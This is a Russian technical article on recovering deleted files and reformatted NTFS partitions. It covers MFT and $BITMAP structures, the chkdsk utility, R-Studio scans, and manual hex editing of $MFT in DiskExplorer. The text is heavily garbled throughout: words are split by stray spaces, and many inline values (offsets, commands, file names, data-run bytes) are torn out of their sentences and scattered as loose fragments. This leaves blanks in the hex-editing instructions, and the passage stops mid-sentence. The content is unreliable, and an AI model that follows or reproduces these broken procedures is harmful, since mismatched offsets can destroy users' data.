/$MFT:$BITMAP

/$BITMAP

Пер вые два пун кта не пред став ляют серь езной проб лемы, но вот над пос‐ 
ледней задачей при дет ся повозить ся. Хотя ее мож но сущес твен но упростить,
прос то запус тив chkdsk с клю чом  . Ути лита chkdsk самос тоятель но най дет
"потерян ный"  файл  и  вне сет  все  необ ходимые  изме нения  в  фай ловую  сис‐ 
тему. От  вас  пот ребу ется  толь ко  уста новить флаг  по  сме щению    в  еди‐ 
ницу, а все осталь ное сде лает chkdsk. Пос ле этих нехит рых манипу ляций вос‐ 
ста нов ленный файл ока жет ся в сво ем род ном катало ге.

/F

16h

INFO

В  Windows  10  ути литу  chkdsk  мож но  запус тить
из  коман дной  стро ки  (cmd.exe)  или  из  кон соли
PowerShell.  Пом ни,  что  выпол нение  chkdsk  тре‐ 
бует  наличия  сис темных  при виле гий,  поэто му
кон соль сле дует запус кать от име ни Адми нис тра‐ 
тора.  Если  ты  пыта ешь ся  выпол нить  про вер ку
сис темно го  раз дела,  на  котором  рас полага ется
текущая  вер сия  ОС,  прог рамма  не  смо жет  про‐ 
верить диск, так как том ока жет ся заб локиро ван‐ 
ным.  В  этом  слу чае  тебе  будет  пред ложено
выпол нить  про вер ку  при  сле дующей  заг рузке
Windows.

ВОССТАНАВЛИВАЕМ РУИНЫ
Рас смот рим более  слож ный  слу чай  вос ста нов ления,  а  имен но — ситу ацию,
ког да фай ловая запись уже затер та. Если уда лен ный файл был резиден тным
(хра нил свое тело в MFT), то вос ста нав ливать уже нечего. Даже если на ранее
занима емом  им  мес те  соз дан  нерези ден тный  файл  (а  фай ловая  запись
нерези ден тно го  фай ла  закан чива ется  там,  где  начина ется  резиден тное
тело), опе раци онная сис тема забот ливо запол нит оставший ся "хвост" нулями,
и  для  вос ста нов ления  ори гиналь ного  содер жимого  при дет ся  при бег нуть
к  дорогос тояще му  обо рудо ванию,  чита юще му  повер хность  жес тко го  дис ка
на физичес ком уров не.

С  нерези ден тны ми  фай лами,  хра нящи ми  свое  тело  вне  MFT,  ситу ация
обсто ит  не  так  пла чев но,  хотя  и  здесь  проб лем  тоже  хва тает. Порядок  раз‐ 
мещения  фай ла  на  дис ке  хра нит ся  в  спис ке  отрезков  (run‐list)  внут ри  фай‐ 
ловой записи в MFT. При этом, пос коль ку фай ловая запись уже затер та, воз‐ 
можен лишь кон текс тный поиск по содер жимому. Запус каем дис ковый редак‐ 
тор, вво дим пос ледова тель ность, заведо мо содер жащу юся в уда лен ном фай‐ 
ле,  но  не  встре чающуюся  во  всех  осталь ных,  и  даем  редак тору  коман ду
начать поиск. Для уско рения поис ка мож но искать  толь ко в сво бод ном дис‐ 
ковом прос транс тве (за это отве чает файл  )./$BITMAP

Вос ста нов ление  неф рагмен тирован ных  фай лов  осу щест вля ется  эле мен‐ 
тарно.  Дос таточ но  прос то  выделить  груп пу  сек торов  и  записать  ее  содер‐ 
жимое на диск.

WARNING

Пов торяю еще раз — ни в коем слу чае не записы‐ 
вай фай лы на сам вос ста нав лива емый том!

Единс твен ная  проб лема  зак люча ется  в  опре деле нии  ори гиналь ной  дли ны.
Некото рые  типы  фай лов  допус кают  при сутс твие  "мусора"  в  сво ем  хвос те.
В  этом  слу чае  мож но  сле довать  пра вилу,  гла сяще му,  что  перебор  луч ше
недобо ра. Одна ко  это  спра вед ливо  не  для  всех фай лов!  Если  конец фай ла
не  уда ется  опре делить  визу аль но  (нап ример,  pdf‐фай лы  завер шают ся  сиг‐ 
натурой  ), про ана лизи руй заголо вок фай ла. Как пра вило, наряду с про‐ 
чей полез ной информа цией там при сутс тву ет и раз мер фай ла. В дан ном слу‐ 
чае все зависит от струк туры кон крет ного фай ла, и уни вер саль ных рекомен‐ 
даций дать невоз можно.

%%EOF

Ес ли  вос ста нав лива емый  файл  фраг менти рован,  то  ситу ация  осложня‐ 
ется. По прав де говоря, она прак тичес ки без надеж на, пос коль ку, что бы соб‐ 
рать  раз рознен ные  цепоч ки  клас теров  воеди но,  необ ходимо  хорошо  знать
содер жимое  уда лен ного  фай ла.  В  этом  смыс ле  NTFS  вос ста нав лива ется
нам ного хуже, чем FAT. Пос ледова тель ность фраг ментов фай ла,  хра няща яся
в FAT в виде одно нап равлен ного спис ка, очень живуча. Если спи сок не пов‐ 
режден,  дос таточ но  лишь  най ти  его  пер вый  эле мент  (а  сде лать  это  про ще
прос того, пос коль ку он будет  ука зывать на заголо вок фай ла с впол не пред‐ 
ска зуемым содер жимым). Даже если спи сок "раз рубить" на нес коль ко час тей,
они про дол жат жить собс твен ной жизнью, и оста нет ся лишь подоб рать ком‐ 
бинацию,  в  которой  их  необ ходимо  скле ить  воеди но.  Спи сок  гиб нет  лишь
при пол ном затира нии FAT, что слу чает ся, пря мо ска жем, не час то.

В  NTFS  же  порядок  фраг ментов  фай ла  хра нит ся  в  кро хот ных  спис ках
отрезков, и их гибель — обыч ное дело, пос ле чего мы оста емся один на один
с мил лионом бес порядоч но раз бро сан ных клас теров. С тек сто выми фай лами
еще мож но работать, но что делать, если файл пред став лял собой элек трон‐ 
ную  таб лицу,  гра фичес кое  изоб ражение  или  архив?  Без  зна ния  стра тегии
выделе ния  дис кового  прос транс тва  вос ста новить  такой  файл  невоз можно.
Порядок, в котором драй вер фай ловой сис темы находит под ходящие сво бод‐ 
ные фраг менты,  не  пре доп ределен. Он  варь иру ется  в  зависи мос ти  от мно‐ 
жес тва обсто ятель ств, одна ко некото рые законо мер ности в нем все же при‐ 
сутс тву ют.

В ходе ана лиза спис ков отрезков силь но фраг менти рован ных дис ков мне
уда лось  уста новить  сле дующие  законо мер ности.  Сна чала  запол няют ся
самые  боль шие  "дыры",  при чем  запол нение  про исхо дит  в  нап равле нии
от кон ца зоны MFT к кон цу дис ка. Затем драй вер фай ловой сис темы воз вра‐ 
щает ся  назад  и  начина ет  запол нять  "дыры"  помень ше.  Так  про дол жает ся
до тех пор, пока файл не ока зыва ется на дис ке целиком. В пос леднюю оче‐ 
редь запол няют ся "дыры" раз мером в один клас тер.

Прос матри вая кар ту дис ка, пред став ленную фай лом  , мы можем
в точ ности вос ста новить порядок раз мещения фраг ментов уда лен ного фай‐ 
ла,  нас коро  соб рав  их  воеди но. Во  вся ком  слу чае,  теоре тичес ки  такая  воз‐ 
можность сущес тву ет. На прак тике же на этом пути нас ждут  ковар ные пре‐ 
пятс твия.  Дело  в  том,  что  с  момен та  соз дания  вос ста нав лива емо го  фай ла
кар та  сво бод ного  дис кового  прос транс тва  мог ла  радикаль но  изме нить ся.
Вся кая опе рация уда ления фай лов выс вобож дает одну или нес коль ко  "дыр",
хаотич но  переме шива ющих ся  с  "дырами"  вос ста нав лива емо го  фай ла.
Как  это му  про тивос тоять?  Ска ниру ем  MFT  в  поис ках  записей,  помечен ных
как  уда лен ные,  но  еще  не  затер тых.  Декоди руем  спис ки  отрезков  и  вычер‐ 
кива ем соот ветс тву ющие им фраг менты из спис ка кан дидатов на вос ста нов‐ 
ление.  Это  сущес твен но  сужа ет  круг  поис ка,  хотя  количес тво  ком бинаций,
в  которые мож но соб рать фраг менти рован ный файл, по‐преж нему оста ется
велико. Но это не самое глав ное.

/$BITMAP

Са мое  "инте рес ное"  начина ется,  ког да  на  диск  одновре мен но  записы‐ 
вают ся нес коль ко фай лов  (нап ример, ска чива емых из интерне та), или  ког да
раз мер неко его фай ла пос тепен но уве личи вает ся (это про исхо дит с докумен‐ 
тами Word при наборе тек ста), и одновре мен но с этим на диск записы вают ся
дру гие фай лы. Ког да к сущес тву юще му фай лу дописы вает ся кро шеч ная пор‐ 
ция  дан ных,  фай ловая  сис тема  находит  наимень шую  "дыру",  затем  сле‐ 
дующую наимень шую "дыру" и т. д., вплоть до тех пор, пока малень кие "дыры"
не исчерпа ются. Ког да это про исхо дит, нас тупа ет черед "дыр" боль шего раз‐ 
мера. В резуль тате файл силь но фраг менти рует ся. Кро ме того, файл запол‐ 
няет ся не от боль ших дыр к мень шим, а наобо рот (т. е. про исхо дит инверсия
стра тегии раз мещения). Таким обра зом, малень кие фраг менты одно го фай ла
переме шива ются с малень кими фраг мента ми дру гих фай лов.

Ху же все го под дают ся вос ста нов лению докумен ты, соз данные в Microsoft
Office. Так про исхо дит, потому что при ложе ние соз дает боль шое количес тво
резер вных  копий  редак тиру емо го  фай ла,  как  в  текущем  катало ге,  так  и  в
катало ге  . Разоб рать ся с  тем,  какой фраг мент  какому фай лу при над‐ 
лежит, очень нелег ко!

%TEMP%

Про ще  все го  вос ста нав ливать  ZIP‐архи вы.  Для  это го  тебе  даже  не  пот‐ 
ребу ется  запус кать дис ковый редак тор. Открой вре мен ный файл на  запись,
сде лай    на  раз мер  сво бод ного  дис кового  прос транс тва,  зак рой  файл.
А теперь обра ботай его ути литой    (или вос поль зуйся 

). В "исправ ленном" фай ле вол шебным обра зом появят ся все уце‐ 
лев шие ZIP‐архи вы! Внут ренняя струк тура ZIP‐архи ва такова, что pkzipfix лег ко
рас позна ет даже пере упо рядо чен ные бло ки, поэто му высокая сте пень фраг‐ 
мента ции ему не помеха.

seek
pkzipfix.exe ути литой

ZIP Repair

ВОССТАНОВЛЕНИЕ РАЗДЕЛОВ NTFS ПОСЛЕ ФОРМАТИРОВАНИЯ
Пред ставь  себе,  что  слу чилось  самое  страш ное:  ты  потерял  весь  раз дел
NTFS  целиком.  Воз можно,  ты  слу чай но  отформа тиро вал  его  или  пережил
раз рушитель ный дис ковый сбой. Где‐то там оста лись мил лиар ды бай тов бес‐ 
ценных дан ных, теперь уже недос тупных опе раци онной сис теме. Как вер нуть
информа цию  к жиз ни? До сих пор мы рас смат ривали лишь нез начитель ные
дис ковые сбои и лег кие раз рушения дан ных наподо бие оши боч но уда лен ных
фай лов.  Теперь  нас тал  черед  рас смот реть  вос ста нов ление  пос ле  тяжелых
пов режде ний, при которых преж нее содер жимое тома ста новит ся недос тупно
опе раци онной  сис теме.  При чиной  это му  может  быть,  нап ример,  неп‐ 
редумыш ленное фор матиро вание или иска жение глав ной фай ловой таб лицы.
Но  не  падай  духом!  Из  любых  переде лок  NTFS  выходит  с  минималь ными
потеря ми, и во всех этих слу чаях воз можно пол ное вос ста нов ление дан ных,
если к делу подой ти пра виль но.

Про ще все го начать с фор матиро вания. Для экспе римен тов нам пот ребу‐ 
ется  ути лита  ,  вхо дящая  в  стан дар тный  ком плект  пос тавки  Win‐
dows, а так же дис ковый раз дел, не содер жащий никакой цен ной информа ции.

format.com

WARNING

Луч ше  все го  про водить  экспе римен ты  на  вир‐ 
туаль ной машине — VirtualBox или VMWare,  эму‐ 
лиру ющей жес ткий диск и уско ряющей про цеду ру
фор матиро вания  в  сот ни  раз.  Ведь  вре мя  —
это  не  толь ко  день ги,  но  и  бес цель но  про житые
годы,  про веден ные  за  созер цани ем  инди като ра
прог ресса.

INFO

Ко ман да   в Windows 10 работа ет с одной
инте рес ной осо бен ностью,  которую впол не мож‐ 
но  наз вать  багом:  она  не  поз воля ет  отформа‐ 
тиро вать  том,  если  поль зователь  не  ука зал  его
мет ку,  выдавая  ошиб ку:  "ука зана  недопус тимая
мет ка дис ка". Что бы испра вить  эту ошиб ку,  сде‐ 
лай  сле дующее.  Перей ди  в  Коман дной  стро ке
на  диск,  который  ты  хочешь  отформа тиро вать,
и набери коман ду  . В окне Коман дной стро ки
отоб разит ся  информа ция  об  име ни  мет ки
и серий ном номере тома. Затем, наб рав коман ду

 с име нем дис ка, по зап росу прог раммы
format.exe  вве ди  получен ную  на  пре дыду щем
шаге  мет ку  тома.  Если  том  в  нас тоящее  вре мя
исполь зует ся,  сог ласись  с  пред ложени ем  опе‐ 
раци онной сис темы раз монти ровать его.

format

vol

format

"Живой"  вин честер  луч ше  не  тро гать,  во  вся ком  слу чае,  до  тех  пор,  пока  ты
не научишь ся его вос ста нав ливать.

Продолжение статьи →
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РАЗГРЕБАЕМ РУИНЫ
КАК ВОССТАНОВИТЬ УДАЛЕННЫЕ ФАЙЛЫ

НА РАЗДЕЛАХ NTFS

ТРЮКИ  НАЧАЛО СТАТЬИ←

Действия, выполняемые при форматировании
Фор матиро вание дис ка — это слож ная мно гос тупен чатая опе рация, нам ного
более слож ная и нам ного более мно гос тупен чатая, чем это может показать ся
на  пер вый  взгляд.  Свои  иссле дова ния  мы  нач нем  с  изу чения  неп редумыш‐ 
ленно перефор матиро ван ного тома NTFS.

При выпол нении коман ды    в фай ловой сис теме
дис ка    про исхо дят  сле дующие  изме нения  (фор матиро вание  дис ка  ути‐ 
литой GUI, вызыва емой из кон текс тно го меню "про вод ника", осу щест вля ется
по ана логич ной схе ме):

format X: /U /FS:NTFS
X:

1. Фор миру ется заг рузоч ный сек тор NTFS.
2. Генери рует ся новый серий ный номер тома, который затем записы вает ся
в заг рузоч ный сек тор по сме щению   бай тов от его начала.48h

3. Рас счи тыва ется новая кон троль ная сум ма заг рузоч ного сек тора,  которая
затем  записы вает ся  по  сме щению    от  его  начала.  Соз дает ся  новый
файл  , содер жащий све дения обо всех фай лах на дис ке. Как пра вило,
он  записы вает ся  поверх  ста рого фай ла  . Исклю чения из  это го  пра‐ 
вила быва ют, но они край не ред ки. Обыч но они про исхо дят, если преж ний
файл    был  заб лагов ремен но  переме щен  деф рагмен татором,
или если при перефор матиро вании был наз начен новый раз мер клас тера.
Во  всех  осталь ных  слу чаях  пер вые  24  фай ловых  записи  (FILE  Record)
погиба ют без воз врат но. Эти записи содер жат непос редс твен но сам файл

,  ,  кор невой  каталог,    —  файл  тран закций, 
  —  кар ту  сво бод ного  прос транс тва,    —  дес крип торы

безопас ности, а так же ряд дру гих слу жеб ных фай лов.

50h

$MFT

$MFT

$MFT

$MFT $MFTMirr /$LogFile /

$BITMAP /$Secure

4. Ини циали зиру ется файл   — наз нача ются новая дли на фай ла
(ини циали зиру ются  ,  ,

,  , 
,    и  ),

дата  и  вре мя  соз дания  и  пос ледней  модифи кации  (ини циали зиру ются
,  , 

,  , 
,    и 

)  и,  самое  глав ное,  соз дает ся  новый  спи сок  отрезков  (data‐
runs),  необ ратимо  затира ющий  ста рый.  Это  зна чит,  что  собирать  фраг‐ 
менти рован ный файл   нам при дет ся по час тям.

$MFT:$DATA

$MFT:$30.AllocatedSize $MFT:$30.RealSize

$MFT:$80.AllocatedSize $MFT:$80.RealSize $MFT:$80.Com­

pressionSize $MFT:$80.InitializedSize $MFT:$80.LastVCN

$MFT:$10.FileCreationTime $MFT:$10.FileAlertedTime $MFT:

$10.FileReadTime $MFT:$30.FileCreationTime $MFT:$30.

FileAlertedTime $MFT:$30.MFTChangeTime $MFT:$30.Fil­

eReadTime

$MFT

5. Соз дает ся  новый файл  ,  отве чающий  за  занятость фай‐ 
ловых  записей  в MFT.  При  этом  все  ста рые  записи  помеча ются  как  сво‐ 
бод ные, одна ко их фак тичес кого уда ления не про исхо дит  (поле 

  оста ется  нет ронутым),  бла года ря  чему  про цеду ра  вос ста‐ 
нов ления замет но упро щает ся. Чаще все го   рас полага ется
на том же самом мес те, что и ста рый  (т. е. меж ду заг рузоч ным сек тором
и MFT), забивая преж нее содер жимое нулями, одна ко с помощью ути литы

 его мож но вос ста новить.

/$MFT:$BITMAP

FileRe­

cord.flags

$MFT:$BITMAP

chkdsk

6. Соз дает ся  новый  файл  ,  отве чающий  за  рас пре деле ние  дис‐ 
кового  прос транс тва  (сво бод ные  и  занятые  клас теры).  Этот  файл  так же
записы вает ся поверх преж него фай ла  , который, тем не менее,
может быть вос ста нов лен с помощью  .

/$BITMAP

/$BITMAP

chkdsk

7. Соз дает ся новый файл жур нала тран закций —  ./$LogFile

8. B  заголо вок  фай ловой  записи    заносит ся  новый  LSN  (LogFile  Se‐
quence Number).

$MFT

9.   наз нача ется новый номер пос ледова тель нос ти обновле ния (Update
Sequence Number).
$MFT

10. Соз дает ся новое зер кало  ,  необ ратимо  затира ющее ста рое  (в
текущих вер сиях фай ловых сис тем оно рас положе но в середи не раз дела
NTFS).

$MFTMirr

11. Соз дают ся  новые  ,    и  дру гие  слу жеб ные  фай лы,
игра ющие сугубо вспо мога тель ную роль и лег ко вос ста нав лива емые ути‐ 
литой  . Сле дует отме тить, что хотя   и при сутс тву ет в зер‐ 
каль ной копии MFT, его цен ность явно пре уве личе на.

/$Volume /$AttrDef

chkdsk /$Volume

12. Осу щест вля ется  про вер ка  целос тнос ти  повер хнос ти  дис ка,  и  все  обна‐ 
ружен ные "пло хие" клас теры заносят ся в файл  ./$BadClus

13. Фор миру ется новый кор невой каталог.
14. Ес ли до фор матиро вания тома на нем при сутс тво вал файл 

, то он обновля ется, в про тив ном слу чае новый файл 
 соз дает ся толь ко пос ле перезаг рузки.

/System Vol­

ume Information /

System Volume Information

На  самом  деле  про цесс фор матиро вания  про тека ет  нам ного  слож нее.  Тем
не менее, для вос ста нов ления дан ных с неп редна мерен но перефор матиро‐ 
ван ных  раз делов  при веден ной  здесь  информа ции  впол не  дос таточ но.
Углублен ное  обсужде ние  этих  тех ничес ких  деталей  тре бует ся  толь ко  прог‐ 
раммис ту,  раз рабаты вающе му  собс твен ную  нес тандар тную  ути литу  фор‐ 
матиро вания. Заин тересо ван ные  читате ли могут  самос тоятель но  дизас сем‐ 
бли ровать  ути литу    (рекомен дует ся  делать  это  с  помощью  IDA
Pro).

format.com

Совет
Ути лита    содер жит  лишь  высоко уров невую  надс трой ку,  опи‐ 
рающуюся на биб лиоте ки  ,  , и непос редс твен но на сам
драй вер  фай ловой  сис темы.  Так  что  дизас сем бли ровать  при дет ся  мно го.
Что бы  упро сить  себе  работу,  мож но  про наб людать  за  про цес сом  фор‐ 
матиро вания с помощью "шпи онских" средств, нап ример, ути лит Мар ка Рус‐ 
синови ча  Process  Monitor  ( ),  ,  бес плат ные  копии
которых мож но ска чать с сай та https://docs.microsoft.com/en‐us/sysinternals/.
Кро ме  того,  не  забывай  о  точ ках  оста нова  на  основные фун кции  native  API,
такие как  ,   и т. д.

format.com
fsutil.dll untfs.dll

procmon.exe Diskmon.exe

NtFsControlFile NtDeviceIoControlFile

Автоматическое восстановление диска после форматирования
Фор матиро вание не унич тожа ет фай ловые записи поль зователь ских фай лов,
и их мож но пол ностью вос ста новить. Сущес тву ет мно жес тво ути лит для вос‐ 
ста нов ления дан ных, нап ример, R‐Studio, EasyRecovery, GetDataBack, и  т. д.
Тем не менее, пря мых нас ледни ков ути литы unformat сре ди них не наб люда‐ 
ется.  Ути лита    вос ста нав ливала  весь  том  целиком,  а  все
перечис ленные сов ремен ные средс тва все го лишь извле кают отдель ные уце‐ 
лев шие фай лы и катало ги, перепи сывая их на новый носитель. Вот здесь мы
стал кива емся с рядом проб лем.

unformat.exe

Во‐пер вых, это выбор носите ля, на который будут извле кать ся вос ста нав‐ 
лива емые дан ные. Запись на опти чес кие накопи тели отпа дает сра зу же,  так
как количес тво носите лей, пот ребное для сох ранения содер жимого жес тко го
дис ка  объ емом  в  терабай ты,  неп рием лемо  велико,  да  и  сама  тех нология
пишущих опти чес ких при водов сегод ня фак тичес ки ушла в прош лое. Наконец,
ни  одна  из  извес тных  мне  ути лит  авто мати чес кого  вос ста нов ления  дан ных
не  поз воля ет  "раз резать"  боль шие  фай лы  на  нес коль ко  малень ких.  Если
в тво ем рас поряже нии есть локаль ная сеть, мож но перег нать дан ные по ней.
Одна ко  самый  прос той  вари ант —  под клю чение  внеш него  жес тко го  дис ка,
кар ты памяти или флеш‐накопи теля. Для извле чения пары сотен осо бо цен‐ 
ных фай лов такая методи ка впол не под ходит.

Про демонс три руем  тех нику  авто мати чес кого  вос ста нов ления  дан ных
на при мере  . Это доволь но
мощ ный и в тоже вре мя прос той в управле нии инс тру мент, на который мож но
положить ся. Пос ле  запус ка  ути литы  на  экра не  появит ся  окно 

,  где  перечис лены  все  физичес кие  устрой ства  и  логичес кие  раз делы.
Най ди сре ди них тот, который тре бует ся вос ста новить, и, нажав пра вую кноп‐ 
ку мыши, выбери опцию  .

ути литы R‐Studio от ком пании R‐Tools Technology

Па нель дис- 

ков

Ска ниро вать

Прог рамма пред ложит ука зать началь ный сек тор для ска ниро вания (поле
),  который  по  умол чанию равен  нулю. Это  зна чение  сле дует  оста вить

без изме нений. Раз мер ска ниру емой области (поле  ) по умол чанию
раз верты вает ся на весь раз дел. Это гаран тиру ет, что ска нер обна ружит все
уце лев шие  фай ловые  записи,  хотя  сам  поиск  зай мет  зна читель ное  вре мя.
Мож но ли уско рить этот про цесс? Давай возь мем руч ку и под счи таем. Пред‐ 
положим, что вос ста нав лива емый раз дел содер жит сто тысяч фай лов. Типич‐ 
ный  раз мер  фай ловой  записи  сос тавля ет  1  Кбайт.  При  усло вии,  что  файл

 не фраг менти рован, дос таточ но прос каниро вать все го око ло 100 Мбайт
от  начала  раз дела.  Если  эта  величи на  (раз мер  прос транс тва,  зарезер‐ 
вирован ного  под  MFT)  не  пре выша ет  10%  от  пол ной  емкости  тома  и  диск
никог да не запол нялся более чем на 90%, то, ско рее все го, все так и есть.

Старт

Раз мер

$MFT

В про тив ном слу чае файл   фраг менти рован и "живопис но" раз бро сан
по все му дис ку. Впро чем, в слу чае ошиб ки мы ничем не рис куем. Вво дим зна‐ 
чение  ,  где   — пред полага емое количес тво фай лов  (каталог  так же
счи тает ся  фай лом),  и  выпол няем  ска ниро вание.  Если  один  или  нес коль ко
фай лов  оста нут ся  необ наружен ными,  воз вра щаем ся  к  нас трой кам  по  умол‐ 
чанию  и  пов торя ем  про цеду ру  ска ниро вания  вновь  (если  количес тво  име‐ 
ющих ся фай лов заранее неиз вес тно, сле дует ука зать зна чение, рав ное 10%
от емкости тома). В поле   выбира ем фай ловую сис тему
NTFS  (мож но  оста вить  нас трой ки  по  умол чанию,  фай ловую  сис тему  дис ка
прог рамма  опре деля ет  кор рек тно).  Затем  наж мите  кноп ку 
и ска ниро вание нач нется.

$MFT

N Кбайт N

Фай ловая сис тема

Ска ниро вание

R‐Studio осу щест вля ет поиск уце лев ших фай ловых записей

В про цес се ска ниро вания будут най дены все уце лев шие фай лы (как уда лен‐ 
ные, так и нет). Кро ме того, будет вос ста нов лена струк тура катало гов, вклю‐ 
чая  и  кор невой  каталог.  Пос той те!  Как  же  так?  Ведь,  как  ты  пом нишь,
при  фор матиро вании  кор невой  каталог  был  унич тожен  и  сфор мирован
заново! Но ничего уди витель ного в этом нет. Прос то фай ловая сис тема NTFS
еще  раз  доказа ла  свою  живучесть  —  унич тожить  ее  мож но,  ско рее  все го,
толь ко  динами том.  В  отли чие  от  FAT,  в  NTFS  катало ги  явля ются  лишь  вспо‐ 
мога тель ной  струк турой  дан ных,  про индекси рован ной  для  уско рения  отоб‐ 
ражения  их  содер жимого.  Вся кая  фай ловая  запись,  незави симо  от  сво его
про исхожде ния, содер жит ссыл ку на родитель ский каталог, пред став ляющую
собой номер записи в MFT. А запись кор невого катало га всег да рас полага‐ 
ется по одно му и тому же адре су!

Вос ста нов ленная струк тура катало гов

Уда лен ные фай ловые записи могут ссы лать ся на уже унич тожен ные катало ги.
R‐Studio  собира ет  их  в  пап ку  ,  где   —  поряд ковый  номер
катало га.  Поэто му  иерар хия  под катало гов  в  боль шинс тве  слу чаев  успешно
вос ста нав лива ется.

$$$FolderXXX XXX

Прос мотр  вир туаль ного  дерева  обна ружен ных  фай лов  осу щест вля ется
нажати ем кноп ки   или с помощью соот ветс тву ющей коман ды кон текс тно го
меню.  Выб рав файл  (или  даже  целый  каталог  с  боль шим  количес твом  вло‐ 
жен ных  под катало гов),  наж ми  кла вишу  .  При  желании  мож но  выпол нить
пред варитель ный  прос мотр  или  редак тирова ние  (выб рав  из  кон текс тно го
меню  пункт  Показать  содер жимое  дис ка).  Это  дос таточ но  мощ ный  инс тру‐ 
мент, отоб ража ющий содер жимое вос ста нав лива емо го фай ла со все ми его
атри бута ми,  спис ками  отрезков  и  т.  д.  в  удо бочи таемом  фор мате.
При  желании  мож но  вос ста новить  все  фай лы  за  одну  опе рацию  (Вос ста‐ 
новить все) или выб рать вос ста нов ление по мас ке.

F5

F2

Ручное восстановление жесткого диска после форматирования
На шей целью будет руч ное вос ста нов ление все го отформа тиро ван ного раз‐ 
дела без исполь зования допол нитель ных носите лей информа ции и дорогос‐ 
тоящих  ути лит  от  сто рон них  про изво дите лей.  Все  что  для  это го  пот ребу‐ 
ется — любой редак тор дис ка (пред почти тель нее все го, конеч но же, DiskEx‐
plorer от Runtime Software) в ком бинации со встро енной ути литой  .chkdsk

В про цес се фор матиро вания про исхо дит необ ратимое раз рушение боль‐ 
шого  количес тва  клю чевых  струк тур  дан ных,  вос ста нав ливать  которые  вруч‐ 
ную было бы слиш ком зат рудни тель но. К счастью, для извле чения осо бо цен‐ 
ных фай лов это го и не тре бует ся! Идея сос тоит в том, что бы вер нуть раз делу
потерян ные фай ловые записи, а все осталь ные вос ста нови тель ные опе рации
поручить ути лите  .chkdsk

Ди зас сем бли рова ние  показы вает,  что  единс твен ной  струк турой  дан ных,
без которой не может работать  , явля ется атри бут   фай ла  .
А раз так, все, что тре бует ся сде лать, сво дит ся к вос созда нию преж него фай‐ 
ла   и его раз мещению поверх ста рых фай ловых записей. В прос‐ 
тей шем слу чае, если файл   не фраг менти рован, это дос тига ется
так называ емым спе куля тив ным уве личе нием его дли ны. Как это сде лать?

chkdsk $DATA $MFT

$MFT:$DATA
$MFT:$DATA

За пус каем DiskExplorer, перехо дим в начало MFT ( ), выделя ем
файл  ,  находим  атри бут    и  уве личи ваем  поля 

,    и    на  тре буемую  величи ну,  парал лель но
с  этим  кор ректи руя  спи сок  отрезков.  Поле    тро гать  не  нуж но,  так
как  оно  будет  исправ лено  ути литой  .  Как  опре делить  дли ну  неф‐ 
рагмен тирован ного фай ла  ? Она рав на раз нице номеров пер вого и пос‐ 
ледне го  сек торов,  в  начале  которых при сутс тву ет  сиг натура  ,  умно жен‐ 
ной на 512 бай тов (исклю чая сек тора, при над лежащие  ). Извес тные
мне  дис ковые  редак торы  не  под держи вают  поис ка  пос ледне го  вхож дения,
поэто му  соот ветс тву ющую  ути литу  при ходит ся  писать  самос тоятель но.
К счастью, точ ную дли ну   опре делять совер шенно не обя затель но, и впол‐ 
не допус тимо взять ее с  запасом,  так  как лиш нее все рав но отсе ет  .
Дей ствуй по прин ципу — луч ше переб рать, чем недоб рать.

Goto | Mft
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Ути лита  DiskExplorer  не  поз воля ет  редак тировать  поля  в  естес твен ном
режиме  отоб ражения,  зас тавляя  нас  перек лючать ся  в  HEX‐mode  и  искать
сме щения  всех  зна чений  самос тоятель но.  Най ти  заголо вок  атри бута 
очень  прос то  —  в  его  начале  рас положе на  пос ледова тель ность 

 Поле    во всех вер сиях NTFS рас‐ 
полага ется  по  сме щению    отно ситель но  заголов ка,  а  поля 

 и  , соот ветс твен но, по сме щени ям   и   бай тов,
при чем  зна чение    дол жно  быть  крат но  раз меру  клас тера.
Убе дись, что при перефор матиро вании дис ка раз мер клас тера не изме нил ся,
в про тив ном слу чае у вас ничего не получит ся.

$DATA
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Size Initialized Size 28h 38h
Allocated  Size

Как  вос ста новить  исходный  раз мер  клас тера?  Да  очень  прос то  —  наб‐ 
рать ся  мужес тва  и  перефор матиро вать  вос ста нав лива емый  диск  с  клю чом 

 где   — раз мер клас тера. А как его опре делить? Возь мем любой файл
с извес тным содер жимым и про ана лизи руем его спи сок отрезков. Запус каем
кон текс тный поиск по все му дис ку, находим файл, запоми наем (записы ваем
на  бумаж ке)  его  стар товый  сек тор,  пос ле  чего  откры ваем  зак реплен ную
за  ним фай ловую  запись,  декоди руем  спи сок  отрезков  и  вычис ляем  номер
пер вого клас тера. Делим номер сек тора на номер клас тера и получа ем иско‐ 
мую величи ну.

,/A:x x

Руч ное вос ста нов ление MFT. Под чер кну ты поля, под лежащие изме нению

Те перь необ ходимо сге нери ровать новый спи сок отрезков. В общем виде он
будет выг лядеть так:  , где   — трех бай товое зна‐ 
чение раз мера   в клас терах, а   — стар товый клас тер. Стар товый клас‐ 
тер обя затель но дол жен ука зывать на пер вый клас тер MFT, в про тив ном слу‐ 
чае   не смо жет работать. Если новый спи сок отрезков длин нее нынеш‐ 
него  (ско рее  все го,  имен но  так  и  будет),  то  необ ходимо  скор ректи ровать
дли ну  атри бут ного  заголов ка  (она  рас положе на  по  сме щению    от  его
начала).  Про делав  эту  нехит рую  опе рацию,  запус тим    с  клю чом 
и бла жен но отки нем ся на спин ку  крес ла,  созер цая,  как  воз рожда ются наши
милые пап ки и фай лы.

13 XX XX XX YY 00 XX XX XX
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Единс твен ное, что не вос ста нав лива ется — так это дес крип торы безопас‐ 
ности. Всем фай лам и пап кам будут наз начены пра ва дос тупа по умол чанию.
Во всех осталь ных отно шени ях с отре мон тирован ным таким обра зом дис ком
впол не мож но будет работать, не опа саясь, что он рух нет окон чатель но. Фай‐ 
лы,  ссы лающиеся  на  несущес тву ющие  катало ги,  скла дыва ются  в  пап ку

.  Это —  "дол гожите ли",  пережив шие  нес коль ко  цик лов  перефор‐ 
матиро вания, в бук валь ном смыс ле вытащен ные из небытия.
Found.xxx

Слож нее  вос ста новить  том,  MFT  которо го  силь но  фраг менти рова на.
Преж ний  спи сок  отрезков  при фор матиро вании  был  унич тожен,  зер каль ная
копия так же пос тра дала. Ничего дру гого не оста ется, как собирать все фраг‐ 
менты  руками.  К  счастью,  на  прак тике  это  ока зыва ется  не  так  слож но,
как может показать ся на пер вый взгляд. В отли чие от всех осталь ных фай лов
дис ка,  файл    име ет  замеча тель ную  сиг натуру  ,  при сутс тву ющую
в начале каж дой фай ловой записи. Поэто му все, что нам тре бует ся сде лать,
сво дит ся  к  сле дующим  опе раци ям.  Пос ледова тель но  ска нируя  раз дел
от  пер вого  клас тера  до  пос ледне го,  выпиши те  начало  и  конец  каж дого
из  фраг ментов,  при над лежащих  MFT.  Затем  из  этой  цепоч ки  необ ходимо
